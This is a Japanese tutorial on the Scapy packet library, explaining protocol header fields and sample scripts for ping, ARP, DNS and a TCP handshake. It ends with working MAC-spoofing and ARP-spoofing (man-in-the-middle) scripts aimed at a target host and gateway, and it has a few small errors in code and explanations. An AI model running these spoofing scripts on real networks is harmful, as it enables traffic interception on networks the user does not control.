#Scapyとは
- 幅広い通信プロトコルに対応したパケット操作プログラム
- CTFで使える!
- ネットワークの勉強になる!
###インストール
- linux
pip3 install scapy-python3
- mac
pip3 install --pre scapy
ipythonを入れると、自動補完してくれます
sudo apt install ipython
###起動方法
terminalで下記のコマンドでインタラクティブ・モード使えます
sudo scapy
もしくは
sudo python3
>>> from scapy.all import *
###注意
scapyはroot権限がないと実行できないです
##ヘッダの作り方
-
Ethernetヘッダ
Ether()
-
IPヘッダ
IP()
-
TCPヘッダ
TCP()
- ARPヘッダ
ARP()
- DNSヘッダ
DNS()
###パケットの作り方
- "/"で区切るだけ
Ether()/IP()/TCP()
###フィールドの追加方法
2通りあります。
① 引数にフィールドを書く
② 変数にいれた後にドットで指定する
>>> icmp = ICMP(code=2) # 引数にフィールドを指定
>>> icmp.show() # パケットの中身を確認
###[ ICMP ]###
type = echo-request
code = 2
chksum = None
id = 0x0
seq = 0x0
>>> icmp = ICMP()
>>> icmp.id = 10 #ドットでフィールドを指定
>>> icmp.show() # パケットの中身を確認
###[ ICMP ]###
type = echo-request
code = 0
chksum = None
id = 0xa
seq = 0x0
フィールドを指定しなくても、デフォルトで値が入っている
>>> icmp = ICMP()
>>> icmp.show()
###[ ICMP ]###
type = echo-request
code = 0
chksum = None
id = 0x0
seq = 0x0
フィールドとは
あて先IPアドレスやMACアドレスなどを指定する項目のこと 詳しくは、[フィールド](#フィールド)###その他
packet.show()
- packetの中身を整形して出力
packet.summary()
- wiresharkでいうところのinfoフィールドの値を見ることができる
>>> ARP().summary()
'ARP who has 0.0.0.0 says 192.168.3.12'
ls(ヘッダ)
- 指定したヘッダに対応しているフィールドを調べることができる
>>> ls(IP)
version : BitField = (4)
ihl : BitField = (None)
tos : XByteField = (0)
len : ShortField = (None)
id : ShortField = (1)
flags : FlagsField = (0)
frag : BitField = (0)
ttl : ByteField = (64)
proto : ByteEnumField = (0)
chksum : XShortField = (None)
src : Emph = (None)
dst : Emph = ('127.0.0.1')
options : PacketListField = ([])
ls()
- 作成できるプロトコル一覧を表示
lsc()
- 関数一覧表示
dir()
- 変数一覧表示
hexdump(パケット)
- 作ったパケットを16進数で表示
conf.verb = 0
- 「パケットを送信(受信)しました」などの、説明を非表示にする
##パケットの送受信
send(packet)
- レイヤ3でパケットを送信
sendp(packet)
- レイヤ2でパケットを送信
sr(packet)
- レイヤー3でパケットを送信し、レスポンスが返ってくる(返答をすべて受信)
sr1(packet)
- レイヤ3でパケットを送信し,その応答の1つ目がレスポンスとして返ってくる
srp(packet)
- レイヤー2でパケットを送信し、レスポンスが返ってくる(返答をすべて受信)
srp1(packet)
- レイヤー2にでパケットを送信し、その応答の1つ目がレスポンスとして返ってくる
srflood(packet)
- レイヤー3でパケットを送信し続ける
srpflood(packet)
- レイヤー2でパケットを送信し続ける
send(packet,timeout=1,iface='eth0')
- タイムアウト時間と送信先インターフェースを指定することができる
**p
がついてる関数は、レイヤ2でパケットを送信します
また、第2引数にverbose = 0
を指定すると、「送信(受信)しました」などの説明を非表示にできます。
送るたびに、書くのが面倒な場合は、conf.verb = 0
**と宣言しておくと、いちいち書かなくて済む
#パケット解析
###Pcapファイルの読み込み
rdpcap(pcapファイル)
- pcapファイルを読み込むことができる
- **
packet[n]
**でn+1番目のパケットにアクセスできる
>>> packet=rdpcap("example.pcap")
>>> packet
<example.pcap: TCP:19 UDP:9 ICMP:0 Other:2>
>>> packet[0]
<Ether dst=01:00:5e:7f:ff:fa src=30:f7:72:3b:08:24 type=0x800
|<IP version=4L ihl=5L tos=0x0 len=165 id=0 flags=DF frag=0L ttl=4 proto=udp chksum=0xc2a3 src=192.168.3.2 dst=239.255.255.250 options=[]
|<UDP sport=36259 dport=1900 len=145 chksum=0xb5a8
|<Raw load='M-SEARCH * HTTP/1.1\r\nHOST: 239.255.255.250:1900\r\nMAN: "ssdp:discover"\r\nM
wireshark(packet)
- 変数packetの中身をWiresharkで表示することができる
wrpcap('sample.pcap',packet)
- 変数packetの中身をsample.pcapに書き込みことができる
#フィールド
ヘッダごとに、指定するフィールドをまとめてみました。
##EthernetⅡヘッダ
まず,ls(ヘッダ)
でどんなフィールドがあるか調べる
>>> ls(Ether)
dst : DestMACField = (None)
src : SourceMACField = (None)
type : XShortEnumField = (36864)
dst(destination)
- あて先MACアドレス
src(source)
- 送信元MACアドレス
type
- EthernetⅡの次に続くプロトコルを2バイトで指定するフィールド
-
イーサタイプ プロトコル 0x0800 IPv4 0x86dd IPv6 0x0806 ARP 0x8035 RARP 0x8863 PPPoE(Discovery Stage) 0x8864 PPPoE(Session Stage)
##ARPヘッダ
Ethernetヘッダ | ARPヘッダ |
---|
>>> ls(ARP)
hwtype : XShortField = (1)
ptype : XShortEnumField = (2048)
hwlen : ByteField = (6)
plen : ByteField = (4)
op : ShortEnumField = (1)
hwsrc : ARPSourceMACField = (None)
psrc : SourceIPField = (None)
hwdst : MACField = ('00:00:00:00:00:00')
pdst : IPField = ('0.0.0.0')
hwtype(hardware type)
- データリンク層のプロトコルの種類を指定するフィールド
- デフォルトでは、『1(0x1)』が入ってるが、これはEthernetⅡを使うことを意味している
ptype(protocol type)
- ネットワーク層のプロトコルを表すフィールド
- デフォルトでは、『2048(0x800)』という値が入り、IPが指定されている
hwlen(hardware length)
- データリンク層のアドレスのサイズを表すフィールド
- デフォルトではMACアドレスのサイズである『6(0x6)』という値が指定されている
plen(protocol length)
- ネットワーク層のプロトコルのアドレスのサイズを表すフィールド
- デフォルトでは、IPアドレスのサイズである『4(0x4)』が指定されている
op(opcode)
- ARPで行う処理の種類を指定するフィールド
- デフォルトでは、IPアドレスをもとにMACアドレスを問い合わせるARP要求ブロードキャストを意味する『1(0x1)』が入っている
- ARP要求に対して、該当する機器がMACアドレスおよびIPアドレスを問い合わせ元に返答するARP応答ユニキャストでは『2(0x2)』が入る
hwsrc(hardware source)
- ARPを送信する端末のMACアドレス
psrc(ip source)
- ARPを送信する端末のIPアドレス
hwdst(hardware destination)
- ARPで解決したいMACアドレス(解決したいと言っても、最初はMACアドレスを知りようがないのでダミーMACアドレスを入れる)
- デフォルトでは、ダミーMACアドレス『00:00:00:00:00:00』 が指定されている
pdst(ip destination)
- ARPで解決したいIPアドレス
個人的に躓いたところ
Q1.EthernetパケットとARPパケットの両方で、あて先MAC/送信元MACを指定しているのはなぜか? ⇒ARP要求を投げるノードが必ずしも応答を受けとりたいノードとは限らないため、そのような仕様になっている。Q2.送信元IPとあて先IPのどっちに指定した、IPアドレスに対応したMACアドレスが返ってくるのか? ⇒あて先IPです。ARP要求は、Ethernetパケットで、ブロードキャストすることによって、LAN内の全端末にARP要求が届き、それを受けっとたノードはあて先IPアドレスが自分のIPアドレスと一致した場合にだけ応答するという仕組みになっているからです。
##IPヘッダ
>>> ls(IP)
version : BitField (4 bits) = (4)
ihl : BitField (4 bits) = (None)
tos : XByteField = (0)
len : ShortField = (None)
id : ShortField = (1)
flags : FlagsField (3 bits) = (<Flag 0 ()>)
frag : BitField (13 bits) = (0)
ttl : ByteField = (64)
proto : ByteEnumField = (0)
chksum : XShortField = (None)
src : SourceIPField = (None)
dst : DestIPField = (None)
options : PacketListField = ([])
version
- IPのバージョンを指定するフィールド
- デフォルトではIPv4という意味の『4(0x04)』が指定されている
ihl(internet header length)
- IPv4のヘッダ長を指定するフィールド
- 端末は、この値を見ることによって、どこまでがIPヘッダーであるかを知る事ができる。
- IPヘッダーの長さは基本的に20バイト(160b = 32b×5)なので『5』が入ることになります。
tos(type of service)
- 通信の品質を定めているフィールド
-
TOSフィールド内の優先順位ビットの値 値 優先順位 000 標準 001 優先 010 即時 011 速報 100 優先速報 101 重大 110 インターネットワーク制御 111 ネットワーク制御 len(length)
- IPパケットの全長サイズ
- IPパケットは、EthernetⅡだけでなく、ブロードバンドで利用するPPPoEやPPPなどといったレイヤ2の様々なプロトコルを使えるため、データリンクに応じてサイズを変えられるようになっている。
id(identification)
- 送信するパケットを識別するための値
flags
- フラグメントを指定するフィールド
- 大きなサイズのIPパケットを一度に送ることができない場合に、複数のIPパケットに分割したり結合したりする機能のこと(3bitで構成されている)
-
Reservedビット
- 未使用で必ず『0』になる
-
DF(Don't Fragment)
- 『0』‥分割可
- 『1』‥分割不可
-
MF(More Fragments)
- 『0』‥最後のパケット
- 『1』‥途中のパケット
flag
- フラグメントオフセット
- 元のデータの何バイト目からのデータなのかを示している(1番目のパケットであれば『0』)
ttl(time to live)
- IPパケットの寿命
- ルータなどの中継装置を通過するたびに、1ずつ減算されていく
proto(protocol)
- IPの次のレイヤのヘッダを1バイトで表す
-
主なプロトコル番号とカプセル化されるプロトコル プロトコル番号 プロトコル 1 ICMP 6 TCP 17 UDP 50 ESP chksum(checksum)
- IPヘッダの内容を確認し、ヘッダに誤りがないかチェックする
src(source)
- 送信元IPアドレス
dst(destination)
- あて先IPアドレス
options
- 特別な設定をするときに使う
##TCPヘッダ
Ethernetヘッダ IPヘッダ TCPヘッダ tcp.py>>> ls(TCP) sport : ShortEnumField = (20) dport : ShortEnumField = (80) seq : IntField = (0) ack : IntField = (0) dataofs : BitField (4 bits) = (None) reserved : BitField (3 bits) = (0) flags : FlagsField (9 bits) = (<Flag 2 (S)>) window : ShortField = (8192) chksum : XShortField = (None) urgptr : ShortField = (0) options : TCPOptionsField = ([])
sport(source port)
- 送信元ポート番号
dport(destination port)
- あて先ポート番号
seq(sequence)
- パケットの順序番号
ack(acknowledgement)
-
確認応答番号
クライアントがサーバに対して、『次にこのシーケンス番号以降のデータをください』とお願いするためのフィールド dataofs(data offset)
- TCPヘッダの長さ
reserved
- このフィールドは将来の拡張のために用意されていて、通常はすべて「0」がセットされる
flags
- コネクションの状態を制御するフィールド
- 初期値はすべて『0』で、値が『1』の場合にそれぞれのフラグが有効となる
CWR
ECE
-
URG(URGENT)
- 緊急を表すフラグ
-
ACK(ACKNOWLEDGEMENT)
- 確認応答を表すフラグ
-
PSH(PUSH)
- 速やかにアプリケーションにデータを渡すフラグ
-
RST(RESET)
- コネクションを強制切断するフラグ
-
SYN(SYNCHRONIZE)
- コネクションを開始するフラグ
-
FIN(FINISH)
- コネクションを終了するフラグ
window
-
ウィンドウサイズ
送信側に空いているバッファサイズを通知する chksum(checksum)
- TCPセグメントのエラー確認
urgptr(urgent pointer)
- コントロールビットの URG フラグが『1』になっている時にだけ、緊急データを示す最後のバイトのシーケンス番号がセットされる
options
- 特別な設定をするためのフィールド
##UDPヘッダ
Ethernetヘッダ IPヘッダ UDPヘッダ UDP.py>>> ls(UDP) sport : ShortEnumField = (53) dport : ShortEnumField = (53) len : ShortField = (None) chksum : XShortField = (None)
sport(source port)
- 送信元ポート番号
dport(destination port)
- あて先ポート番号
len(length)
- UDPデータグラムのサイズ
chksum(checksum)
- 受け取ったデータグラムが壊れていないか、整合性のテェックに使用される16bitのフィールド
##ICMPヘッダ
Ethernetヘッダ IPヘッダ ICMPヘッダ icmp.py>>> ls(ICMP) type : ByteEnumField = (8) code : MultiEnumField (Depends on type) = (0) chksum : XShortField = (None) id : XShortField (Cond) = (0) seq : XShortField (Cond) = (0) ts_ori : ICMPTimeStampField (Cond) = (46455505) ts_rx : ICMPTimeStampField (Cond) = (46455505) ts_tx : ICMPTimeStampField (Cond) = (46455505) gw : IPField (Cond) = ('0.0.0.0') ptr : ByteField (Cond) = (0) reserved : ByteField (Cond) = (0) length : ByteField (Cond) = (0) addr_mask : IPField (Cond) = ('0.0.0.0') nexthopmtu : ShortField (Cond) = (0) unused : ShortField (Cond) = (0) unused : IntField (Cond) = (0)
type
- 0 → エコー応答(Echo Reply)
- 3 → 宛先到達不能(Destination Unreachable)
- 4 → 転送抑制支持(Souce Quench)
- 5 → 最適経路通知(Redirect)
- 8 → Echo要求(Echo Request)
- 9 → ルータ通知(Router Advertisement)
- 10 → ルータ選択(Router Selection)
- 11 → 時間超過によるパケット破棄(Time Exceeded)
- 12 → 誤ったパラメータによるエラー
- 13 → タイムスタンプ要求
- 14 → タイムスタンプ応答
code
- 0‥ネットワーク到達不能
- 1‥ホストへ到達不能
- 2‥そのプロトコルは使用できない
- 3‥対象ポートが閉じている
- 4‥IPパケット分割不可
- 5..指定された経路で通信できない
chksum(checksum)
- エラーチェックを行うためのフィールド
id(identification)
- ICMPメッセージが複数ある場合に、それぞれを区別するために用紙された識別フィールド
seq(sequence)
- 連続してpingを送信する際に、それぞれのpingを区別するための順序番号
ts_ori(timestamp original)
- 開始タイムスタンプ
ts_rx(timestamp)
- 受信タイムスタンプ
ts_tx(timestamp)
- 送信タイムスタンプ
gw(gateway)
- ゲートウェイアドレス
ptr(pointer)
reserved
- 予約ビット
length
addr_mask
nexthopmtu
##DNSヘッダ
ゾーン転送はTCP53番ポート
Ethernetヘッダ IPヘッダ TCPヘッダ DNSヘッダ 名前解決はUDP53番ポート
Ethernetヘッダ IPヘッダ UDPヘッダ DNSヘッダ dns.py>>> ls(DNS) id : ShortField = (0) qr : BitField (1 bit) = (0) opcode : BitEnumField (4 bits) = (0) aa : BitField (1 bit) = (0) tc : BitField (1 bit) = (0) rd : BitField (1 bit) = (1) ra : BitField (1 bit) = (0) z : BitField (1 bit) = (0) ad : BitField (1 bit) = (0) cd : BitField (1 bit) = (0) rcode : BitEnumField (4 bits) = (0) qdcount : DNSRRCountField = (None) ancount : DNSRRCountField = (None) nscount : DNSRRCountField = (None) arcount : DNSRRCountField = (None) qd : DNSQRField = (None) an : DNSRRField = (None) ns : DNSRRField = (None) ar : DNSRRField = (None)
id(identification)
- 問い合わせを区別する識別子
- クエリ要求とクエリ応答で共通の値になる
qr(query/response)
- 問い合わせ/応答フラグ
- 0‥クエリ要求
- 1‥クエリ応答
opcode(operation code)
- 問い合わせの種類
- 0‥正引き
- 1‥逆引き
- 2‥サーバの状態を要求する問い合わせ
aa(authoritative answer)
- そのドメインに対するコンテンツサーバーかどうかを表す
- 0‥オーソリティあり
- 1‥オーソリティなし
tc(truncation)
- 切り捨て
- 0‥データが512バイト未満
- 1‥データが512バイト異常
rd(recursion desired)
- 再帰要望
- 0‥反復問い合わせ(フルサービスリゾルバ→コンテンツサーバ)
- 1‥再帰問い合わせ(スタブリゾルバ→フルサービスリゾルバ)
ra(recursion available)
- 再帰有効
- 0‥再帰不可(コンテンツサーバ)
- 1‥再帰可能(フルサービスリゾルバ)
z
- 将来的な拡張用。ゼロが入る
ad
- DNSSEC検証に成功したことを示す(応答)/応答のADビットを理解できることを示す(問い合わせ)
cd
- DNSSEC検証の禁止
rcode(response code)
- 応答コード
- 0‥正常応答
- 1..フォーマットエラー(DNSサーバーがそのクエリを理解できなかった)
- 2..サーバー障害(DNSサーバがそのクエリを処理できなかった)
- 3..名前エラー(そのクエリのドメイン名が存在しなかった)
- 4..未実装(そのクエリをサポートしていなかった)
- 5..拒否(ポリシーによって拒否した)
- 6~15..将来のために予約
qdcount
- 問い合わせ(Question)セクションの数で、常に1
- クライアントが指定する。
ancount
- 応答(Answer)セクションのリソースレコード(RR)数
- サーバが指定する。
nscount
- 委任情報(Authority)セクションのRR数
- サーバが指定する
arcount
- 付加情報(Additional)セクションのRR数
- サーバが指定する。
qd
qdは、DNSサーバに対する質問がセットされるセクション
フィールド 内容 qname 問い合わせるドメイン名 qtype 問い合わせの種類 A:ホストアドレス NS:コンテンツサーバ CNAME:別名 SOA:管理情報 PTR:IPアドレス MX:メールサーバー TXT:コメント AXFR:ゾーン転送要求 qclass 問い合わせのクラスを表す IN:インターネット 『www.google.com』を問い合わせる場合
**```DNS(qd=DNSQR(qname="www.google.com",qtype="A",qclass="IN"))```**an/ns/ar
これら3つのセクションには、ゾーンファイルを構成するリソースレコードの情報がセットされ、
基本的には同じメッセージフォーマットが適用される。an
は、質問したタイプに対する回答リソースレコードがセットされるセクションns
は、質問したドメイン名に対してオーソリティを持つサーバのレコードが入る(通常はNS)ar
、は付加情報がセットされるセクション
ほとんどの場合、nsセクションで指定されたコンテンツサーバのIPアドレスがセットされる問い合わせの場合は、回答・オーソリティ・追加の数は『0』
応答の場合は、問い合わせの『質問の数』がそのまま応答に入るフィールド 内容 rrname 対象となるドメイン名 type 問い合わせの種類を表す A:ホストアドレス NS:コンテンツサーバ CNAME:別名 SOA:管理情報 PTR:IPアドレス MX:メールサーバー TXT:コメント rclass 問い合わせのクラスを表す IN:インターネット ttl リソースレコードの生存時間(秒) rdlen リソースレコードの長さ(バイト) rdata リソースレコードの情報 #実装編
これまでの知識を応用して、実際にパケットを作ってみたいと思います##pingを作る
googleにpingを放つコードを書いてみます
ちゃんとpingが打ててるか確認するために、戻り値を表示しますping.pyfrom scapy.all import * ping = IP(dst="www.google.com")/ICMP() ans = sr1(ping) ans.show()
216.58.199.228(google) ⇒ 192.168.3.12にちゃんとpingが返って来ている
ping.py(戻り値)###[ IP ]### version = 4 ihl = 5 tos = 0x0 len = 28 id = 0 flags = frag = 0 ttl = 55 proto = icmp chksum = 0x200e src = 216.58.199.228 dst = 192.168.3.12 \options \ ###[ ICMP ]### type = echo-reply code = 0 chksum = 0x0 id = 0x0 seq = 0x0
##ARP要求
特定のIPアドレスのMACアドレスを得るためのARP要求を行うコードを書いてみます。
ARPはLAN内で行うので、レイヤー2に送る**srp1
**関数を使いますarp.pyfrom scapy.all import * arp = Ether(dst="ff:ff:ff:ff:ff:ff")/ARP(pdst="192.168.3.2") res = srp1(arp) res.show()
hwsrc
を見ると、ちゃんとMACアドレスが返って来てるのがわかるarp.py(戻り値)###[ Ethernet ]### dst = 08:00:27:95:8c:5e src = 68:ec:c5:d2:43:3f type = 0x806 ###[ ARP ]### hwtype = 0x1 ptype = 0x800 hwlen = 6 plen = 4 op = is-at hwsrc = 68:ec:c5:d2:43:3f psrc = 192.168.3.2 hwdst = 08:00:27:95:8c:5e pdst = 192.168.3.12
##名前解決
googleの名前解決をしてみたいと思います。
DNSパケットの構造は**IP()/UDP()/DNS()
**です。
IPパケットのあて先は、Google Public DNS(8.8.8.8)にしました。resolve.pyfrom scapy.all import * answer = sr1(IP(dst="8.8.8.8")/UDP()/DNS(qd=DNSQR(qname="www.google.com")),verbose=0) print answer[DNS].summary()
reslove.py(戻り値)DNS Ans "172.217.26.4"
##3-way-handshake
youtubeと3-way-handshakeしたいと思います。下図の通り①のseq番号は何でもいいです
また、sportはランダムで、dportはhttpsなので、443です。
3way.pyfrom scapy.all import * import random conf.verb = 0 sport = random.randint(1024,65535) seq = random.randint(0,1000) ip = IP(dst='www.youtube.com') SYN = TCP(sport=sport,dport=443,flags='S',seq=seq) # ① SYNACK = sr1(ip/SYN) # ② ACK = TCP(sport=sport, dport=443, flags='A', seq=SYNACK.ack , ack=SYNACK.seq + 1) # ③ send(ip/ACK)
##LAN内のMACアドレスとIPアドレスを調べる
ARPは宛先IPアドレスに指定したMACアドレスを教えてくれるfrom scapy.all import * ans, unans = srp(Ether(dst="ff:ff:ff:ff:ff:ff")/ARP(pdst="192.168.3.0/24"),timeout=2) ans.summary(lambda (s,r): r.sprintf("%Ether.src% %ARP.psrc%") )
結果""" xx:xx:xx:xx:xx:xx 192.168.3.2 xx:xx:xx:xx:xx:xx 192.168.3.1 xx:xx:xx:xx:xx:xx 192.168.3.6 xx:xx:xx:xx:xx:xx 192.168.3.4 """
なお、上のスクリプトは**
arping("192.168.3.*")
**という組み込み関数を使えば一発でできる。##MACアドレスの偽装
ARPパケットを受信したノードは、送信元MACアドレスを元に、ARPテーブルを作っているので、そこを任意のものにすれば良いfake_mac_addr.pyfrom scapy.all import * target_mac = raw_input("target_mac >>") fake_mac_addr = raw_input("fake_mac_addr >>") eth = Ether(dst=target_mac) arp = ARP() arp.op = 2 #ARP応答 arp.hwsrc = fake_mac_addr arp.hwdst = target_mac frame = eth/arp sendp(frame)
##ARP Spoofing
『ARP要求とARP応答は認証がないので、偽のMACアドレスのARP応答を送ると、受信側はそのリクエストを受け付けてしまう』という仕組みを利用して、arpテーブルを書き換えて、通信を『target ⇄ 攻撃者 ⇄ gateway』のようにするarp_spoofing.py# coding:utf-8 from scapy.all import * import sys import subprocess import os # IPパケット転送機能をONにする print "[*] Enabling IP Forwarding...\n" if os.name == 'nt': command = ["echo 1 > /proc/sys/net/ipv4/ip_forward"] subprocess.call(command,shell=True) elif os.name == 'posix': command = ["sysctl -w net.inet.ip.forwarding = 1"] subprocess.call(command,shell=True) else: print("error") sys.exit() conf.verb = 0 target_ip = raw_input("target_ip >> ") target_mac = raw_input("target_mac >> ") gateway_ip = raw_input("gateway_ip >> ") gateway_mac = raw_input("gateway_mac >> ") fake_mac_addr = raw_input("fake_mac_addr >> ") def main(): try: print "[*] Start ARP_spoofing...[CTRL-C to stop]" poison_target(target_ip,target_mac,gateway_ip,gateway_mac) except KeyboardInterrupt: pass finally: restore_table(gateway_ip,gateway_mac,target_ip,target_mac) sys.exit(0) def poison_target(target_ip,target_mac,gateway_ip,gateway_mac): # ARP応答 poisoning_target = Ether(dst=target_mac)/ARP() poisoning_target.op = 2 # ARP応答ユニキャスト poisoning_target.psrc = gateway_ip # あて先IPにゲートウェイのアドレス poisoning_target.pdst = target_ip # 通信相手のIPアドレス poisoning_gateway = Ether(dst=gateway_mac)/ARP() poisoning_gateway.op = 2 poisoning_gateway.psrc = target_ip poisoning_gateway.pdst = gateway_ip # MACアドレス偽装 frame = Ether(dst = target_mac)/ARP(op=2,hwsrc = fake_mac_addr,hwdst = target_mac) while True: sendp(poisoning_target) sendp(poisoning_gateway) sendp(frame) print "[*] Finished." return def restore_table(gateway_ip,gateway_mac,target_ip,target_mac): print "[*] Restoring target." arp = ARP() arp.op = 1 # ARP要求ブロードキャスト arp.psrc = gateway_ip # ARP要求を行った送信元IPアドレス arp.hwsrc = gateway_mac # 送信元MAC arp.pdst = target_ip # あて先IPアドレス arp.hwdst = target_mac # あて先MACアドレス send(arp, count = 3) print "Disabling IP Forwading...\n" if os.name == 'nt': command = "echo 0 > /proc/sys/net/ipv4/ip_forward" subprocess.call(command,shell=True) elif os.name == 'posix': command = "sysctl -w net.inet.ip.forwarding = 0" subprocess.call(command,shell=True) if __name__ == "__main__": main()
MACアドレスを偽装しているのは、targetのarpテーブルに、攻撃者のMACアドレスが2つ存在してしまうのを防ぐため
#総評
Scapyに無限の可能性を感じた。
普段使っているプロトコルの仕組みや、wiresharkの通信を見て何をやってるのかがわかるようになったので、まとめてよかった。#参考
公式ドキュメント
サイバーセキュリティプログラミング ―Pythonで学ぶハッカーの思考
パケットキャプチャ入門 第3版 (LANアナライザWireshark活用術)
3分間DNS基礎講座
パケットキャプチャの教科書